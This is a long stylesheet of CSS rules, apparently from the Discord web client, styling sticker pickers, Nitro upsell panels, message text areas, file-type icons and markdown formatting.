.perks-4HPHN7 { background-color: var(--background-secondary); border-radius: 8px; }

.icon-YquWci { height: 20px; width: 20px; }

.iconColorLightBlue-2DehaC { color: hsl(221,calc(var(--saturation-factor, 1)*100%),84.1%); }

.iconColorGreen-1M-tXq { color: hsl(164,calc(var(--saturation-factor, 1)*55.1%),69.4%); }

.iconColorOrange-2QDAwl { color: hsl(25,calc(var(--saturation-factor, 1)*96.7%),64.1%); }

.iconColorYellow-1s_Bv3 { color: hsl(47,calc(var(--saturation-factor, 1)*98.9%),63.9%); }

.iconColorPink-3j7p1M { color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); }

.iconColorPurple-2SKo10 { color: hsl(272,calc(var(--saturation-factor, 1)*100%),80.2%); }

.iconColorDarkBlue-cmUd_u { color: hsl(221,calc(var(--saturation-factor, 1)*70%),55.5%); }

.iconColorBlue-29w-bn { color: hsl(222,calc(var(--saturation-factor, 1)*100%),75.1%); }

.footer-3wUBpy { -webkit-box-align: center; align-items: center; -webkit-box-pack: end; justify-content: flex-end; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.premiumButtonNitroWheel-1VQbBx { margin-right: 4px; }

.premiumButtonInner-2iZ72U { -webkit-box-align: center; align-items: center; display: flex; }

.premiumButton-2FO5cR { margin-top: 20px; }

.emptyState-39XDT6 { height: 100%; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; text-align: center; }

.header-WclrWC { margin-top: 16px; margin-bottom: 8px; }

.subtitle-oTdNF- { margin-bottom: 12px; }

.stickersRow-22csIr { display: flex; }

.stickersRow-22csIr .sticker-2Ef6Nj { margin: auto 2px; }

.unownedStickerLockContainer-1awnDf { border-radius: 100%; border: 1px solid var(--background-modifier-accent); display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; background-color: var(--background-accent); position: absolute; right: 0px; bottom: 0px; }

.unownedStickerLockIcon-3vTNpx { color: var(--interactive-normal); }

.row-2psonc { display: grid; margin-bottom: 12px; overflow: hidden; }

.row-2psonc, .sticker-2cpdZp { position: relative; }

.sticker-2cpdZp { border-radius: 4px; padding: 2px; }

.createSticker-y7ICu0 { position: relative; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; justify-content: space-evenly; -webkit-box-align: center; align-items: center; font-weight: 500; background-color: var(--background-primary); border-radius: 8px; }

.createInspected-13EYxv { background-color: var(--background-secondary-alt); }

.uploadCard-1Py2Oj { cursor: pointer; }

.iconWrapper-3vy595 { -webkit-box-align: center; align-items: center; background-image: linear-gradient(90deg,hsl(221,calc(var(--saturation-factor, 1)*70%),55.5%),hsl(269,calc(var(--saturation-factor, 1)*83.8%),71%)); border-radius: 36px; color: rgb(255, 255, 255); display: flex; -webkit-box-pack: center; justify-content: center; height: 36px; width: 36px; }

.icon-1Is6F2 { height: 18px; width: 18px; }

.inspectedIndicator-59EII8 { height: 100%; left: 0px; -webkit-mask: url("https://discord.com/assets/7d65d61e6cd25bf1847ec2d3e4a0144d.svg") 0px 0px / 100% 100%; position: absolute; top: 0px; transition: background-color 0.08s ease-out 0s, color 0.08s ease-out 0s; width: 100%; z-index: -1; }

.stickerInspected-2EM4w- .inspectedIndicator-59EII8 { background-color: var(--background-accent); }

.stickerPlaceholder-Upqhje { cursor: default; }

.viewAll-2RLt-n { position: absolute; right: 0px; top: 0px; }

.viewAll-2RLt-n:hover .viewAllButton-I9GJG2, .viewAllInspected-FsmJHj .viewAllButton-I9GJG2 { background-color: var(--background-tertiary); color: var(--interactive-hover); }

.viewAllButton-I9GJG2 { -webkit-box-align: center; align-items: center; background-color: var(--background-secondary-alt); box-sizing: border-box; color: var(--interactive-normal); display: grid; font-size: 16px; font-weight: 600; height: 100%; line-height: 20px; text-align: center; white-space: pre-line; width: 100%; }

.stickerNode-20m2uy { transition: opacity 0.25s ease 0s; }

.stickerNodeDimmed-3nFXMx { opacity: 0.3; }

.stickerNodeHidden-3kXD_k { visibility: hidden; }

.stickerUnsendable-2q_h2B { filter: grayscale(100%); }

.header-1jwfHp { -webkit-box-align: start; align-items: flex-start; box-sizing: border-box; height: 66px; -webkit-box-pack: center; justify-content: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; padding: 12px 4px; }

.header-1jwfHp, .title-1R2vOK { display: flex; }

.title-1R2vOK { -webkit-box-align: center; align-items: center; align-self: stretch; column-gap: 4px; -webkit-box-flex: 1; flex: 1 1 auto; margin-bottom: 4px; max-width: 100%; white-space: nowrap; }

.heading-3FTJUH { -webkit-box-flex: 0; flex: 0 1 auto; font-size: 16px; line-height: 20px; min-width: 0px; overflow: hidden; text-overflow: ellipsis; }

.count-ZZL8Ce { color: var(--header-secondary); font-size: 14px; line-height: 18px; }

.monospace-2wHjP3 { font-family: Consolas, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", Monaco, "Courier New", Courier, monospace; }

.features-3yHAt3 { display: flex; -webkit-box-flex: 1; flex: 1 0 auto; }

.featuresTooltip-3r0QiF { max-width: 260px; }

.feature-3kpTdS { color: var(--interactive-normal); background-color: var(--background-modifier-accent); border-radius: 10px; margin-left: 4px; }

.featureFlushRight-2-VxWs { margin-left: auto; }

.featureText-169iUC { padding: 0px 4px; }

.featureTextIcon-6keZHX { position: relative; top: 1px; height: 10px; width: 10px; }

.featureIcon-2pfUYw { height: 12px; width: 12px; padding: 2px; }

.newTag-38ErDv { background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); color: rgb(255, 255, 255); font-size: 9px; text-transform: uppercase; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; height: 16px; border-radius: 16px; margin-right: 4px; padding: 0px 6px; }

.theme-dark .timerIcon-3FpAHP { color: rgb(251, 184, 72); }

.theme-light .timerIcon-3FpAHP { color: rgb(255, 138, 0); }

.description-zTR9jp { padding-bottom: 4px; }

.headerWithImage-3o0-0O { min-height: 100px; overflow: visible; padding: 0px; }

.backgroundImage-1fVfmz { border-radius: 5px 5px 0px 0px; position: absolute; top: 0px; left: 0px; height: 100%; width: 100%; background-position: 50% center; background-size: cover; background-repeat: no-repeat; }

.closeButton-2Oed-N { height: 18px; position: absolute; right: 16px; top: 16px; width: 18px; line-height: 0; color: rgb(255, 255, 255); background: rgba(0, 0, 0, 0.6); border-radius: 4px; opacity: 1; transform: none; transition: background 0.1s ease 0s; }

.closeButton-2Oed-N:hover { background: rgba(0, 0, 0, 0.8); color: rgb(255, 255, 255); }

.footer-2oNIlz { -webkit-box-align: center; align-items: center; -webkit-box-pack: justify; justify-content: space-between; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.footerEnd-1KDgyA { -webkit-box-pack: end; justify-content: flex-end; }

.skuPreviewFooterCloseButton-1GsfiB { color: var(--interactive-active); font-size: 14px; font-weight: 600; line-height: 18px; }

.header-2VKTUL { height: auto; }

.container-K9goMo { padding: 12px 0px 0px; }

.containerWithHeader-3tnp74 { padding-top: 4px; }

.premiumButtonNitroWheel-28RTr5 { margin-right: 4px; }

.premiumButtonInner-qFZiFk { -webkit-box-align: center; align-items: center; display: flex; }

.upsell-voV9AC { display: flex; background-color: var(--background-tertiary); padding: 8px 0px 8px 8px; border-radius: 4px; -webkit-box-align: center; align-items: center; }

.icon-36VNVE { margin-right: 8px; width: 24px; color: var(--interactive-normal); }

.body-35DEex { -webkit-box-flex: 1; flex: 1 1 0%; }

.iconWrapper-1Ws4PP { -webkit-box-align: center; align-items: center; background-image: linear-gradient(90deg,hsl(221,calc(var(--saturation-factor, 1)*70%),55.5%),hsl(269,calc(var(--saturation-factor, 1)*83.8%),71%)); border-radius: 24px; color: rgb(255, 255, 255); display: flex; -webkit-box-pack: center; justify-content: center; height: 24px; width: 24px; }

.icon-1S2if3 { height: 12px; width: 12px; }

.wrapper-OxgYJ1 { display: grid; grid-template-rows: 1fr auto; height: 100%; position: absolute; inset: 0px; }

.footerActions-3KYPyJ { margin-bottom: 12px; }

.packHeader-NLJ7S5 { position: sticky; top: 0px; }

.packHeaderShopWrapper-2OtJtX { display: flex; column-gap: 12px; }

.packHeaderShop-1qN3eZ { -webkit-box-flex: 1; flex: 1 1 auto; overflow: hidden; }

.packHeaderShopActions-pPMTPj { -webkit-box-flex: 0; flex: 0 0 auto; }

.sticker-3HpuRA { cursor: pointer; }

.divider-1OSL6X { height: 30px; display: flex; -webkit-box-align: center; align-items: center; }

.shopDivider-sT2XLN { border-top-width: 1px; height: 1px; }

.tipWithSearch-1ZG0iW { }

.searchSuggestions-FrCvef { padding-top: 16px; max-width: 250px; }

.searchSuggestion-rlq9uJ { background: var(--background-floating); border-radius: 8px; cursor: pointer; display: inline-block; font-weight: 400; margin: 0px 4px 8px; padding: 4px 8px; }

.emptyGuildUpsell-3UP6BQ { box-sizing: border-box; height: 54px; overflow: hidden; margin-left: 4px; margin-right: 4px; }

.wrapper-3ir_7D { -webkit-box-flex: 1; flex: 1 1 0%; }

.upsellWrapper-1utsSD { z-index: 2; }

.upsellBackground-2Nr3j7, .upsellWrapper-1utsSD { position: absolute; inset: 0px; }

.upsellBackground-2Nr3j7 { background: var(--background-secondary); opacity: 0.98; }

.upsellContent-3fiGMr { text-align: center; position: relative; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; height: 100%; -webkit-box-pack: center; justify-content: center; }

.upsellImage-1uV3MA { height: 80px; width: fit-content; margin-bottom: 16px; }

.upsellTitle-CuDEpB { margin-bottom: 8px; }

.upsellDescription-2Un0aB { margin-bottom: 24px; max-width: 400px; }

.upsellClose-3WlWDF { cursor: pointer; position: absolute; top: 20px; right: 20px; color: var(--interactive-normal); }

.wrapper-2iFQJ9 { position: relative; display: grid; grid-template-columns: 48px auto; grid-template-rows: auto 1fr auto; }

.header-2k4I2o { box-shadow: var(--elevation-low); grid-area: 1 / 1 / 2 / 3; min-height: 1px; z-index: 1; padding: 0px 16px 16px; display: flex; -webkit-box-align: center; align-items: center; }

.loadingIndicator-2ZWpbk { grid-area: 1 / 1 / -1 / -1; }

.listWrapper-hig339 { grid-column: 2 / 2; }

.emptyState-XDa1Wg, .listWrapper-hig339 { grid-row: 2 / 2; overflow: hidden; position: relative; }

.emptyState-XDa1Wg { grid-column: 1 / 3; margin: 0px 20px; }

.wrapper-2ojdJo { background-color: rgb(87, 101, 242); background-image: url("https://discord.com/assets/ade05f810c9c3b14163361d8599617ad.png"); background-position: 100% 0px; background-repeat: no-repeat; background-size: contain; padding: 12px 16px; }

.wrapper-2ojdJo:hover { text-decoration: none; }

.heading-23WuGa, .subheading-3JQjDd { color: rgb(255, 255, 255); }

.heading-23WuGa { font-family: var(--font-display); font-size: 16px; margin-bottom: 4px; }

.launchIcon-rQOgzb { height: 12px; margin: 0px 2px; position: relative; top: 1px; width: 12px; }

.positionLayer-1KzSAt { left: 86px; pointer-events: none; z-index: 0; }

.positionContainer-DEuh7X { width: 100%; height: 444px; pointer-events: none; }

.positionContainerOnlyEmoji--VzZ6D { height: 396px; }

.drawerSizingWrapper-17Mss4 { height: 100%; max-width: 100%; pointer-events: all; position: absolute; right: 0px; width: 100%; z-index: 1; }

.contentWrapper-SvZHNd { background-color: var(--background-secondary); border-radius: 8px; box-shadow: var(--elevation-stroke),var(--elevation-high); box-sizing: border-box; display: grid; -webkit-box-flex: 1; flex: 1 1 auto; grid-template-rows: 24px auto; row-gap: 8px; height: 100%; overflow: hidden; padding-top: 16px; position: relative; z-index: 1; }

.positionContainerOnlyEmoji--VzZ6D .contentWrapper-SvZHNd { grid-template-rows: auto; }

.contentWrapperWithSnowsgivingNotice-1AvSpB { grid-template-rows: 62px 24px auto; padding-top: 0px; }

.nav-7UD0KD { padding: 0px 16px; }

.navList-2UtuhC { display: flex; }

.navItem-3Wp_oJ { -webkit-box-flex: 0; flex: 0 0 auto; }

.navItem-3Wp_oJ + .navItem-3Wp_oJ { margin-left: 8px; }

.navButton-2gQCx- { border-radius: 4px; color: var(--interactive-normal); font-size: 16px; font-weight: 600; line-height: 20px; padding: 2px 8px; transition: background-color 0.1s ease-in-out 0s, color 0.1s ease-in-out 0s; }

.navButton-2gQCx-:hover { color: var(--interactive-hover); }

.navButtonActive-1MkytQ { background-color: var(--background-accent); color: rgb(255, 255, 255); }

.navButtonActive-1MkytQ:hover { color: rgb(255, 255, 255); }

.resizeHandle-3NRr0z { cursor: ew-resize; height: 100%; left: -2px; position: absolute; top: 0px; width: 4px; z-index: 2; }

.introductionWrapper-3JgYlK { text-align: center; }

.introductionHeader-39IP1Z { font-weight: 600; margin-bottom: 4px; }

.introductionSubheader-wYqfJl { margin-bottom: 16px; }

.introductionAction-LbJO-v { color: var(--brand-experiment); font-weight: 600; }

.introductionTooltip-39ymCt { max-width: none; width: 280px; }

.introductionTooltipContent-2CVaCn { padding: 16px; }

.stickersNavItem-g1SJ0f { display: flex; }

.stickersNavItem-g1SJ0f, .stickersUnseenBadge-3f2c9o { -webkit-box-align: center; align-items: center; }

.stickersUnseenBadge-3f2c9o { height: 16px; border-radius: 8px; min-width: 16px; padding: 0px; margin-left: 4px; box-shadow: none; text-shadow: none; display: inline-flex; -webkit-box-pack: center; justify-content: center; }

.container-JHR0NT { bottom: 100%; margin-bottom: 12px; min-height: 16px; position: absolute; transition: opacity 0.125s ease-in 0s, transform 0.125s cubic-bezier(0.48, 1.93, 1, 0.68) 0s, -webkit-transform 0.125s cubic-bezier(0.48, 1.93, 1, 0.68) 0s; opacity: 1; will-change: opacity, transform; left: auto; right: 40px; }

.container-JHR0NT.hidden-1Pp_-F { transform: translateY(12px); opacity: 0; pointer-events: none; }

.containerBackground-LlUax5 { background-color: var(--background-floating); border: 1px solid var(--background-modifier-selected); border-radius: 8px; inset: 0px; box-shadow: var(--elevation-high); min-height: 16px; opacity: 0.95; position: absolute; z-index: 0; }

.containerBackground-LlUax5::after { border-right: 7px solid transparent; border-bottom: 7px solid transparent; border-left: 7px solid transparent; border-image: initial; border-top: 7px solid var(--background-floating); content: ""; height: 0px; margin-top: -1px; position: absolute; right: 14px; top: 100%; width: 0px; }

.bottomInformationTextContainer-2lvA_a { z-index: 1; position: relative; padding: 0px 8px 10px; height: 24px; }

.textDivider-3RoZIQ { height: 1px; margin: 0px 0px 4px; background-color: var(--background-modifier-accent); }

.descriptionText-1ZKuLr { text-overflow: ellipsis; white-space: nowrap; overflow: hidden; }

.stickerResults-3HacYG { display: grid; gap: 8px; grid-auto-flow: column; grid-template-columns: repeat(auto-fit, 48px); padding: 8px; position: relative; z-index: 1; }

.keybind-25ROM8 { margin: 0px; display: inline-block; }

.theme-dark .keybind-25ROM8 span, .theme-light .keybind-25ROM8 span { box-shadow: rgba(32, 34, 37, 0.6) 0px -4px 0px inset; }

.suggestedExpression-3HUIrd { cursor: pointer; position: relative; }

.mask-2VqFZB { inset: -2px; opacity: 0; position: absolute; transition: opacity 0.08s ease-in-out 0s; z-index: 0; }

.suggestedExpression-3HUIrd:focus .mask-2VqFZB, .suggestedExpressionFocused-23LPyn .mask-2VqFZB { opacity: 1; }

.maskBackground-3LR_np { background-color: var(--background-accent); height: 100%; width: 100%; }

.reduce-motion .container-JHR0NT, .reduce-motion .mask-2VqFZB { transition: none 0s ease 0s; }

.theme-light .unownedStickerLockIcon-2GMbV9 { color: var(--background-secondary); }

.theme-dark .containerBackground-LlUax5 { opacity: 0.95; }

.divider-JfaTT5 { z-index: 1; height: 0px; border-top: thin solid var(--background-modifier-accent); display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; position: relative; -webkit-box-flex: 0; flex: 0 0 auto; pointer-events: none; box-sizing: border-box; --divider-color:hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.low-saturation .divider-JfaTT5 { --divider-color:hsl(359,calc(var(--saturation-factor, 1)*66.7%),54.1%); }

.background-opacity-low .divider-JfaTT5, .background-opacity-medium .divider-JfaTT5 { opacity: 0.5; }

.background-opacity-high .divider-JfaTT5 { opacity: 0.8; }

.isUnread-3Ef-o9 { border-color: var(--divider-color); }

.hasContent-1cNJDh { position: relative; left: auto; right: auto; }

.unreadPill-2HyYtt { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; top: -7px; right: 0px; font-size: 10px; line-height: 9px; font-weight: 700; padding: 0px 4px 0px 1px; border-radius: 0px 4px 4px 0px; text-transform: uppercase; color: rgb(255, 255, 255); background-color: var(--divider-color); box-sizing: border-box; border-left: none; }

.unreadPill-2HyYtt, .unreadPillCap-3_K2q2 { position: absolute; height: 13px; }

.unreadPillCap-3_K2q2 { display: block; left: -8px; top: 0px; }

.unreadPillCapStroke-7rkHbg { color: var(--divider-color); fill: var(--divider-color); }

.content-1o0f9g { display: block; -webkit-box-flex: 0; flex: 0 0 auto; padding: 2px 4px; color: var(--text-muted); background: var(--background-primary); line-height: 13px; font-size: 12px; margin-top: -1px; font-weight: 600; border-radius: 8px; }

.isUnread-3Ef-o9 .content-1o0f9g { color: var(--divider-color); }

.wrapper-2aW0bm { background-color: var(--background-primary); box-shadow: var(--elevation-stroke); display: grid; grid-auto-flow: column; box-sizing: border-box; height: 32px; border-radius: 4px; -webkit-box-align: center; align-items: center; -webkit-box-pack: start; justify-content: flex-start; user-select: none; transition: box-shadow 0.1s ease-out 0s, -webkit-box-shadow 0.1s ease-out 0s; position: relative; overflow: hidden; }

.full-motion .wrapper-2aW0bm:hover { box-shadow: var(--elevation-stroke),var(--elevation-medium); }

.button-1ZiXG9 { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; height: 24px; padding: 4px; min-width: 24px; -webkit-box-flex: 0; flex: 0 0 auto; color: var(--interactive-normal); cursor: pointer; position: relative; }

.button-1ZiXG9:hover { color: var(--interactive-hover); background-color: var(--background-modifier-hover); }

.button-1ZiXG9:active { padding-top: 5px; padding-bottom: 3px; color: var(--interactive-active); background-color: var(--background-modifier-active); }

.button-1ZiXG9.selected-LCBEAU { color: var(--interactive-active); background-color: var(--background-modifier-selected); }

.separator-42rNt0 { -webkit-box-flex: 0; flex: 0 0 auto; width: 1px; margin: 0px 4px; height: 100%; background-color: var(--background-modifier-accent); }

.button-1ZiXG9.disabled-1RZyKz, .button-1ZiXG9.disabled-1RZyKz:active, .button-1ZiXG9.disabled-1RZyKz:hover { opacity: 0.5; padding: 4px; color: var(--interactive-normal); background-color: transparent; cursor: default; }

.button-1ZiXG9.dangerous-2r8KxV { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.button-1ZiXG9.dangerous-2r8KxV:hover { color: hsl(359,calc(var(--saturation-factor, 1)*82.2%),62.5%); }

.upload-3Dkqd6 { display: inline-flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; background-color: var(--background-secondary); border-radius: 4px; margin: 0px; padding: 8px; position: relative; min-width: 200px; max-width: 200px; min-height: 200px; max-height: 200px; }

.filenameContainer-GYsC7s { margin-top: auto; }

.filename-ZzFlbx { margin-top: 8px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }

.uploadContainer-21JzET { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; height: 100%; }

.channelAttachmentArea-3ziOpb, .uploadContainer-21JzET { display: flex; }

.channelAttachmentArea-3ziOpb { gap: 24px; margin: 0px 0px 2px 6px; padding: 20px 10px 10px; overflow-x: auto; }

.imageContainer-3U_IgV { margin-top: auto; position: relative; min-height: 0px; }

.imageContainer-3U_IgV > div:not([aria-expanded="false"]), .imageContainer-3U_IgV > div:not([aria-expanded="false"]) > div { height: 100%; }

.image-2-GqhD { border-radius: 3px; max-width: 100%; object-fit: contain; }

.spoiler-2mmM5D { filter: blur(44px); pointer-events: none; }

.spoilerContainer-Nqmjlh { height: 100%; }

.spoilerWrapper-29jlbf { display: flex; -webkit-box-pack: center; justify-content: center; height: 100%; }

.tags-1I7AYP { position: absolute; left: 3px; bottom: 6px; }

.altTag-2Zg09F { background: rgba(255, 255, 255, 0.8); margin-right: 4px; color: rgb(0, 0, 0); mix-blend-mode: screen; text-transform: uppercase; font-size: 10px; padding: 3px; border-radius: 3px; z-index: 1; }

.divider-2NlPq5 { margin-left: 16px; }

.actionBarContainer-3EfnhW { position: absolute; top: 0px; right: 0px; }

.actionBar-3yJOtm { position: absolute; right: 0px; z-index: 1; transform: translate(25%, -25%); padding: 0px; }

.actionBarIcon-1hDHzY { width: 20px; height: 20px; display: block; object-fit: contain; }

.icon-HQGNTD { height: 144px; background-repeat: no-repeat; background-position: 50% center; }

.icon-HQGNTD.video-1aUD5P { background-image: url("https://discord.com/assets/7252adb1cdb9603a49ce1bab7c3c41e7.svg"); }

.icon-HQGNTD.acrobat-3vO3gJ { background-image: url("https://discord.com/assets/325421cb49d6e0717b8c7b9dfa2d4bdc.svg"); }

.icon-HQGNTD.ae-G8L_Zr { background-image: url("https://discord.com/assets/5acc0abb7cbb015848085fc0993142bf.svg"); }

.icon-HQGNTD.sketch-m_YHB8 { background-image: url("https://discord.com/assets/a4389a7644d1ec25e7132159b71c5175.svg"); }

.icon-HQGNTD.ai-1vPD-5 { background-image: url("https://discord.com/assets/ad55c3f2f2354618478e36f2a10f2ea3.svg"); }

.icon-HQGNTD.archive-2zE9aI { background-image: url("https://discord.com/assets/157ccfe93c91db60adddd48a75b69205.svg"); }

.icon-HQGNTD.code-1WVsYn { background-image: url("https://discord.com/assets/35827c42a3af54bd169cff0a866eb428.svg"); }

.icon-HQGNTD.document-1FqEcC { background-image: url("https://discord.com/assets/515d0236bce3ba834026209dc78489f0.svg"); }

.icon-HQGNTD.photoshop-2MOdyL, .icon-HQGNTD.ps-30j05T { background-image: url("https://discord.com/assets/9655e45a31ab290cf812ba2de902f232.svg"); }

.icon-HQGNTD.spreadsheet-3tjFiz { background-image: url("https://discord.com/assets/c1ebd9af7ce0a639af9d99b4980bda13.svg"); }

.icon-HQGNTD.webcode-2Zy98f { background-image: url("https://discord.com/assets/6b35b41a1e3a8099667499b71414328b.svg"); }

.icon-HQGNTD.audio-3DaGel { background-image: url("https://discord.com/assets/e83eaad3ae5c32a355b55f157e6cd3da.svg"); }

.icon-HQGNTD.unknown-KRWjnq { background-image: url("https://discord.com/assets/7b3a37fa249a857b0ff136db0a73f44c.svg"); }

.userTooltip-7qZaHD { display: flex; -webkit-box-align: center; align-items: center; font-size: 16px; }

.avatar-i5C_qp { margin-right: 8px; }

.discriminator-17tNDS { opacity: 0.5; }

.commandBlock-38NGGm { display: inline-block; }

.commandBlock-38NGGm br { display: none; }

.commandBlock-38NGGm > span:last-of-type { margin-right: 8px; }

.pill-2pQByF { height: 21px; border-radius: 4px; padding: 0px 4px; }

.pill-2pQByF .mention { background: none !important; }

.pill-2pQByF .emoji { max-height: 21px; max-width: 21px; }

.theme-light .pill-2pQByF { background-color: rgb(199, 204, 209); }

.theme-dark .pill-2pQByF { background-color: rgb(24, 25, 28); }

.completePill-1I5maV .optionKey-3jd4Vt { margin-right: 4px; }

.erroredPill-3HF4Sc { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.tabButton-1n4gNP { user-select: none; opacity: 0.5; vertical-align: text-bottom; color: rgb(255, 255, 255); margin-bottom: -1px; }

.syntaxAfter-hcA4AH, .syntaxBefore-1YQ9lW { font-weight: 600; }

.codeBlockSyntax-2i-tMA, .syntaxAfter-hcA4AH, .syntaxBefore-1YQ9lW { color: var(--textbox-markdown-syntax); }

.codeBlockLang-O_f4hr { color: var(--text-positive); }

.after_s-20p8Ev, .after_spoiler-1-p4u9, .after_u-222bSK, .before_s-24KnUy, .before_spoiler-1Aglf8, .before_u-2lCd2i, .syntaxOverride-1uDw7k { font-weight: 400; }

.before_em-9aA_NQ { margin-right: -1px; }

.after_em-U9Eby7 { margin-left: 1px; }

.before_s-24KnUy, .before_u-2lCd2i { margin-right: 1px; }

.after_s-20p8Ev, .after_u-222bSK { margin-left: 1px; }

.after_u-222bSK, .before_u-2lCd2i { text-decoration: underline; }

.before_inlineCode-1G9rTK { border-radius: 3px 0px 0px 3px; }

.after_inlineCode-1KfVgj { border-radius: 0px 3px 3px 0px; }

.bold-36dRGB { font-weight: 600; }

.italics-1CB0-L { font-style: italic; }

.underline-2dzcvN { text-decoration: underline; }

.strikethrough-37TnTg { text-decoration: line-through; }

.fakeLink-26oLcc { color: var(--text-link); }

.low-saturation .fakeLink-26oLcc { text-decoration: underline; color: var(--text-link-low-saturation); }

.after_inlineCode-1KfVgj, .before_inlineCode-1G9rTK, .inlineCode-2ngu6Y { background: var(--background-secondary); font-family: Consolas, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", Monaco, "Courier New", Courier, monospace; font-size: 85%; line-height: 18px; margin: -0.2em 0px; padding: 0.2em 0px; width: auto; height: auto; text-indent: 0px; white-space: pre-wrap; }

.spoiler-2Iew8T { padding: 0px 0.2em; background-color: var(--background-primary); }

.codeBlockText-9TnoxQ, .codeLine-14BKbG { color: var(--header-secondary); font-family: Consolas, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", Monaco, "Courier New", Courier, monospace; font-size: 85%; text-size-adjust: none; }

.slateContainer-3Qkn2x { position: relative; }

.slateTextArea-1Mkdgw { caret-color: var(--text-normal); position: absolute; left: 0px; right: 10px; text-align: left; word-break: break-word; white-space: break-spaces !important; }

.slateTextArea-1Mkdgw pre { max-width: none; }

.placeholder-37qJjk, .slateTextArea-1Mkdgw .hljs-comment, .slateTextArea-1Mkdgw .hljs-quote { color: var(--text-muted); }

.placeholder-37qJjk { left: 0px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; position: absolute; right: 0px; user-select: none; }

.placeholder-37qJjk, .slateTextArea-1Mkdgw { padding-right: 10px; }

.channelTextArea-2VhZ6z { position: relative; width: 100%; text-indent: 0px; border-radius: 8px; }

.channelTextArea-2VhZ6z.highlighted-2eSV1B { box-shadow: 0 0 0 4px var(--focus-primary); }

.focusRing-2NImfT { border-radius: 8px; }

.scrollableContainer-2NUZem { overflow: hidden scroll; background-color: var(--channeltextarea-background); max-height: 50vh; border-radius: 8px; }

.sticker-1T9_Bu { display: block; }

.background-opacity-low .scrollableContainer-2NUZem { background-color: rgba(79, 84, 92, 0.5); }

.background-opacity-low .scrollableContainer-2NUZem .textArea-12jD-V { color: rgb(255, 255, 255); }

.background-opacity-medium .scrollableContainer-2NUZem { background-color: rgba(79, 84, 92, 0.7); }

.background-opacity-medium .scrollableContainer-2NUZem .textArea-12jD-V { color: rgb(255, 255, 255); }

.background-opacity-high .scrollableContainer-2NUZem { background-color: rgba(79, 84, 92, 0.9); }

.webkit-HjD9Er::-webkit-scrollbar { width: 12px; height: 12px; }

.webkit-HjD9Er::-webkit-scrollbar-thumb, .webkit-HjD9Er::-webkit-scrollbar-track { background-clip: padding-box; border: 4px solid transparent; }

.webkit-HjD9Er::-webkit-scrollbar-track { border-width: initial; }

.webkit-HjD9Er::-webkit-scrollbar-thumb { background-color: rgba(24, 25, 28, 0.6); border-radius: 8px; }

.channelTextAreaDisabled-8rmlrp .scrollableContainer-2NUZem { opacity: 0.5; }

.hasConnectedBar-1MrFne { border-top-left-radius: 0px; border-top-right-radius: 0px; }

.inner-MADQqc { display: flex; position: relative; }

.innerDisabled-1YTFPN { cursor: not-allowed; }

.sansAttachButton-td2irx { padding-left: 16px; }

.sansAttachButtonCreateThread-1UPx8S { padding-left: 10px; }

.attachButton-2dnuIu { margin-left: -16px; }

.textArea-12jD-V { background-color: transparent; resize: none; border: none; appearance: none; box-sizing: border-box; font-weight: 400; font-size: 1rem; line-height: 1.375rem; width: 100%; height: 44px; min-height: 44px; color: var(--text-normal); padding-left: 0px; padding-right: 10px; }

.textArea-12jD-V::-webkit-input-placeholder { user-select: none; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; color: var(--text-muted); }

.textArea-12jD-V::placeholder { user-select: none; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; color: var(--text-muted); }

.textAreaSlate-1ZzRVj { padding: 0px; }

.textAreaThreadCreation-3zmvce { min-height: 66px; }

.textAreaWithoutAttachmentButton-qiaiTB { padding-left: 16px; }

@media (-webkit-max-device-pixel-ratio: 1) {
  .theme-light .textArea-12jD-V { font-weight: 500; }
}

.textAreaDisabled-3-Eq_G { pointer-events: none; }

.buttons-3JBrkn { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; height: 44px; position: sticky; top: 0px; margin-right: 4px; }

.webkit-HjD9Er .buttons-3JBrkn { margin-right: -6px; }

.buttonContainer-28fw2U { display: flex; }

.button-318s1X { padding: 4px; margin-left: 4px; margin-right: 4px; }

.emojiButton-pET4wH { }

.stickerIcon-3TP7EM { width: 20px !important; height: 20px !important; }

.stickerButton-3OEgwj { transition: transform 0.2s ease 0s, -webkit-transform 0.2s ease 0s; }

.stickerButtonWithNotification-ESXiw0 { margin-top: 1px; padding-left: 2px; padding-right: 2px; }

.stickerButtonTilted-2R4_UZ { transform: rotate(12deg) scale(1.05); transition: transform 0.15s ease 0s, -webkit-transform 0.15s ease 0s; }

.fontSize12Padding-2x5wK2 { padding-bottom: 14px; padding-top: 14px; }

.fontSize14Padding-1DhkW_ { padding-bottom: 12px; padding-top: 13px; }

